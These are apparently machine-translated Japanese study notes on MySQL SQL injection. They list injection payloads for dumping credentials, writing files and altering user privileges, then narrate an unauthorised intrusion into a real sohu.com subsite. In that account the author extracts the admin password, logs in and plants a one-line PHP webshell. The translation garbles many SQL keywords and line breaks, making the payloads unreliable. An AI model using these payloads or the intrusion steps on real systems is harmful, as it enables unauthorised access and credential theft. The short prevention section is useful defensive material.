今日はインターネットから SQL インジェクションに関する基本的なスキルを学びました。 SQL インジェクションの焦点は、SQL を柔軟に使用することによってのみ SQL ステートメントを構築することです
。ステートメントは新しい注入文字列を構築できます。勉強した後はメモを書き、いつでも使えるようにしています。まずは以下の内容をお読みいただければ幸いです
SQL の基本原則を理解します。メモ内のコードはインターネットから取得したものです。
===基本部分===
このテーブルをクエリします:
http://127.0.0.1/injection/user.php?username=angel' および LENGTH(パスワード)='6
http://127.0.0.1/injection/user.php?username=angel' および LEFT(password,1)='m
組合声明:
http://127.0.0.1/injection/show.php?id=1' Union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user/*
エクスポートファイル:
http://127.0.0.1/injection/user.php?username=angel' を出力ファイル 'c:/file.txt
に追加しますhttp://127.0.0.1/injection/user.php?username=' または 1=1 を出力ファイル 'c:/file.txt
に追加しますhttp://127.0.0.1/injection/show.php?id=' ユーザーから出力ファイル 'c:/user.txt
に 1、ユーザー名、パスワードを選択しますINSERT ステートメント:
INSERT INTO `user` (ユーザーID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', '$username', '$password', '$homepage', '1');
構築されたホームページの値は次のとおりです: http://4ngel.net', '3')#
SQL ステートメントは次のようになります。 INSERT INTO `user` (ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#' 、'1');
UPDATE ステートメント: こういうのが好きです
まずはこの SQL を理解してください
UPDATE ユーザー SET パスワード='MD5($password)'、ホームページ='$homepage' WHERE id='$id'
このSQLを以下の形に修正するとインジェクションが実現します
1: ホームページの値を
に変更しますhttp://4ngel.net'、userlevel='3
その後、SQL ステートメントは
になります。UPDATE ユーザー SET パスワード='mypass'、ホームページ='http://4ngel.net'、ユーザーレベル='3' WHERE id='$id'
Userlevel はユーザーレベルです
2: パスワード値を
に変更しますmypass)' WHERE username='admin'#
その後、SQL ステートメントは
になります。UPDATE ユーザー SET パスワード='MD5(mypass)' WHERE ユーザー名='admin'#)'、ホームページ='$homepage' WHERE id='$id'
3: ID 値を
に変更します' またはユーザー名='管理者'
その後、SQL ステートメントは
になります。UPDATE ユーザー SET パスワード='MD5($password)'、ホームページ='$homepage' WHERE id='' OR username='admin'
===上級編===
よく使用される MySQL 組み込み関数
データベース()
ユーザー()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
データベース()
バージョン()
SUBSTRING()
MID()
char()
load_file()
……
関数アプリケーション
記事を更新 SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 Union select 1,database(),version()
SELECT * FROM ユーザー WHERE ユーザー名=char(97,110,103,101,108)
# char(97,110,103,101,108) は、10 進数の angel に相当します
http://127.0.0.1/injection/user.php?userid=1 およびpassword=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 およびLEFT(password,1) >char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
データ構造内のフィールドの数とタイプを決定します
http://127.0.0.1/injection/show.php?id=-1 ユニオン選択 1,1,1
http://127.0.0.1/injection/show.php?id=-1 Union select char(97),char(97),char(97)
データテーブル名を推測してください
http://127.0.0.1/injection/show.php?id=-1 メンバーから 1,1,1 を選択する結合
ユーザー名とパスワードを取得するためのクロステーブルクエリ
http://127.0.0.1/ymdown/show.php?id=10000 Union select 1,ユーザー名,1,パスワード,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 ymdown_user から id=1
その他
#最初のパスワードを確認してください
http://127.0.0.1/ymdown/show.php?id=10 ユニオン選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 (ymdown_user から) (id=1 および ord(mid(password,1,1))=49
===注射予防===
サーバーの側面
Magic_quotes_gpc がオンに設定されています
display_errors はオフに設定されています
コーディング
$keywords = addlashes($keywords);
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords);
数値型
intval() を使用して
をキャプチャして置換します文字列型
SQL ステートメントのパラメーターに一重引用符
を追加します。次のコードは、インジェクションを防ぐために使用されます
if (get_magic_quotes_gpc()) {
//....
}その他{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords);
}
便利な機能
ストリップスラッシュ()
get_magic_quotes_gpc()
mysql_real_escape_string()
ストリップタグ()
array_map()
addslashes()
参考記事:
http://www.4ngel.net/article/36.htm (MySQL による SQL インジェクション) 中国語
http://www.phpe.net/mysql_manual/06-4.html (MYSQL ステートメントのリファレンス)
sohu.com のセキュリティチェック
ハッカー防御線
に掲載されましたhttp://www.loveshell.net
で公開sohu.com は中国の比較的大きなポータルで、電子メールを含む多くのサービスを提供しています。よく言われるように、このような大規模な Web サイトでは問題を回避するのは困難です。これはサーバーと Web サイトの両方に当てはまります。私は最近 MySQL インジェクションについて学びました。ちなみに、sohu.com では、SQL インジェクションの脆弱性があるかどうかを確認するための簡単なセキュリティ チェックを行っています。
sohu.com のメイン Web サイトを見ると、ほとんどすべてが静的であることがわかったので、メイン Web サイトで問題を見つけるという考えはあきらめました。 sohu.com のさまざまなサブサイトを直接閲覧したところ、ほとんどの Web サイトでは Php スクリプトが使用されており、一部の Web サイトでは JSP スクリプトが使用されていることがわかりました。経験に基づいて、Php で構築されたシステムの場合、バックグラウンド データベースは一般的にです。 Mysql は、ASP が Mssql に相当するのと同じように、まだ多くの問題が考えられるようです。 Php の特性 (Php はデフォルトで渡されたパラメータの ' などの文字を変換するため、デフォルトでは文字型の変数を注入することが困難です) により、通常は数値型の変数しか注入できません。通常のインジェクションの知識に基づいて、id=XXX の形式で渡されるパラメーターは一般に数値変数であることがわかっているため、脆弱性を見つけるには php?id=XXX を使用してそれらの接続をテストするだけで済みます。実際、XXX.it.sohu.com http://XXX.it.sohu.com/book/serialize.php?id=86
で問題のある接続が見つかりました。送信:
http://XXX.it.sohu.com/book/serialize.php?id=86 および 1=1/*
図 1 に示すように、通常の状態に戻ります。
次に送信します:
http://XXX.it.sohu.com/book/serialize.php?id=86 および 1=2/*
図 2 に示すように、情報は返されません。これは、SQL ステートメントの結果が空であるはずです。
これら 2 つの URL から、送信した and 1=1 と and 1=2 が SQL ステートメントとして実行されるため、脆弱性が存在すると推測できます。これは、SQL インジェクションです。また、id 変数は数値として扱われ、'' の間に置かれないことも知っておいてください。そうしないと成功しません! 変数が他の SQL キーワードをフィルターしなければ、成功する可能性が非常に高くなります。変数がフィルターされる状況が数多く発生しました。 mysql の行き止まりだった選択はとても憂鬱です!
脆弱性が存在するため、まずデータベースの種類とデータベースに接続しているアカウントを検出します。権限が高く、データベースと Web が同じマシン上にある場合は、フィールドを推測する手間を省くことができます。 ! 送信:
http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
図 3 に示すように、通常の状態に戻ります。3 の ASCII は 51 であるため、このステートメントはデータベースのバージョンが 3 より大きいかどうかによって異なります。バージョンの最初の文字が 51 より大きい場合は、当然 4.0 以降です。 4.0 以降ではユニオン クエリがサポートされています。はい、これにより 1 つずつ推測する手間が省けます。ここでの結果は true なので、データベースは 4.0 以降でユニオンをサポートできます。
ユニオンクエリがサポートされているので、最初にこのステートメントのフィールドを公開しましょう。今後、ユニオンを使用してクエリを実行すると非常に高速になります。
http://XXX.it.sohu.com/book/serialize.php?id=86 10/*までにご注文ください図 4 に示すように、返された結果は正常です。送信を続けると、フィールドが 10 個を超えているようです。
http://XXX.it.sohu.com/book/serialize.php?id=86 20/*までにご注文ください
通常どおりに戻り、送信します:
http://XXX.it.sohu.com/book/serialize.php?id=86 30/*までにご注文ください
……
50 単位で注文したところ、情報が返されませんでした。40 を超え、50 未満であるようだったので、次のように送信しました。
http://XXX.it.sohu.com/book/serialize.php?id=86 45/*までにご注文ください
……
最後に、フィールドは約 41 であると推測しました。これは、一部のフィールドがソートできないため、フィールド番号 (41) を正確に特定するために Union を使用する必要があります。
http://XXX.it.sohu.com/book/serialize.php?id=86 および 1=2 結合選択 1,2,3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 ,38,39,40,41/*返された結果は図 5 に示されています。成功しました。ページにどのフィールドが表示されるかは明らかです。
を送信しましょう。
http://XXX.it.sohu.com/book/serialize.php?id=86 および 1=2 結合選択 1,user(),3,4,database(),6,7,8,9,10 ,バージョン(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 ,35,36,37,38,39,40,41/*返された結果は図 6 に示すとおりで、データベース システムの検出が完了しました。この場合、私たちは root ではない可能性が高く、データベース サーバーと Web は同じサーバー上にない可能性が高くなります。ファイル権限がありません:
を送信してください。
http://XXX.it.sohu.com/book/serialize.php?id=86 and (mysql.user から count(*) を選択)>0/*返された結果は図 7 に示されています。mysql には読み取り権限がなく、権限が root ではないことがさらに確実です。
あなたは root ではないので、落胆しないで、続けましょう! データをさらに推測する前に、管理者パスワードを見つけても、ログインする場所が見つからないことがよくあります。 ! ルート ディレクトリに追加します。 /admin や /manage/ など、バックエンドでよく使用されるアドレスはすべて 404 エラーを返します。最終的に、/book/ ディレクトリで管理しようとすると 403 Forbiden エラーが発生しました。このディレクトリは存在します! しかし、ログイン ページは生きているとは思いませんが、管理者がいることがわかったので、Google で検索できます。
管理サイト:sohu.com
図 8 に示すように、別のブランチのフォーラムを取得しました。通常、場所のバックエンドの特性が Web サイト全体の特性である可能性が高いことがわかっているため、/book にアクセスしようとします。 /admin/admuser.php すると、図 9 に示すように、奇跡が起こりました。笑、この時点で、Web サイトの背景がわかりました。実際、これを見ると、非常に重要な情報も得られます。元のファイルを見ると、ログインフォームの名前は name とpassword であることがわかり、相手の管理者テーブルの構造は簡単に推測できます。たとえ推定と一致していなくても、ほぼ同じです。最初に背景を推測しなければならない理由はわかります。
を送信し続けてください。http://XXX.it.sohu.com/book/serialize.php?id=86 および 1=2 結合選択 1,user(),3,4,database(),6,7,8,9,10 ,バージョン(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 ,35,36,37,38,39,40,41 管理者から/*
admin テーブルが存在しないことを示すエラーを返し、admins、admin_user などを試して、最後に送信します:
http://XXX.it.sohu.com/book/serialize.php?id=86 および 1=2 結合選択 1,user(),3,4,database(),6,7,8,9,10 ,バージョン(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 ,35,36,37,38,39,40,41 (ユーザーから)/*
正常に戻りました、笑! ユーザー テーブルがあります。それでは、フィールドは何ですか?
http://XXX.it.sohu.com/book/serialize.php?id=86 および 1=2 結合選択 1,name,3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 ,38,39,40,41 (ユーザーから)/*
空の情報を返すエラー。送信:
http://XXX.it.sohu.com/book/serialize.php?id=86 および 1=2 結合選択 1、パスワード、3、4、5、6、7、8、9、10、11、12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 ,38,39,40,41 (ユーザーから)/*
返された結果は図 10 に示されています。はははは正常に返され、パスワードが表示されます。これは管理者テーブルの最初のユーザーのパスワードであるはずです。そうすると、多くのフィールドでエラーが返されると思われます。それは本当に無理です ID を入力すると、正常に返されます。ID は管理者の名前です。送信してください。
http://XXX.it.sohu.com/book/serialize.php?id=86 および 1=2 結合選択 1、パスワード、3、4、id、6、7、8、9、10、11、12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 ,38,39,40,41 (ユーザーから)/*
返された結果は図 11 に示すとおりです。管理者の名前を取得しました。図 12 に示すように、管理者の名前とパスワードをバックエンドに取り込み、正常にログインしました。次に、Webシェルを取得する方法を考えます。バックグラウンドで画像をアップロードする場所を見つけましたが、phpファイルをアップロードすると、画像ファイルではないというメッセージが表示され、慎重に探しました。しばらくバックグラウンドを眺めていると、PHPファイルを生成する機能があることが分かりましたので、図13に示すように、そこに一文のPHPバックドアを挿入しました。 Generateをクリックすると、プロンプトが表示されれば成功したようです。フィルタリングは必要ありません。パスワードは a です。図 14 に示すように、ワンセンテンス バックドアを使用して接続します。スクリプトは正常に完了したことを検出しました。
Webシェルを入手した後、サーバーにアクセスして調べてみると、サーバーのセキュリティは良好ですが、コマンドは実行できず、アップロードしたディレクトリ以外は基本的にすべてのディレクトリに書き込みできませんでした。スクリプト テスト。Web シェルを取得できれば成功とみなされます。特に sohu.com のような大規模な Web サイトの場合、フィルタリングを行わないと Web サイトの崩壊につながる可能性があることもわかります。フィルタリングの問題に注意を払う必要があります。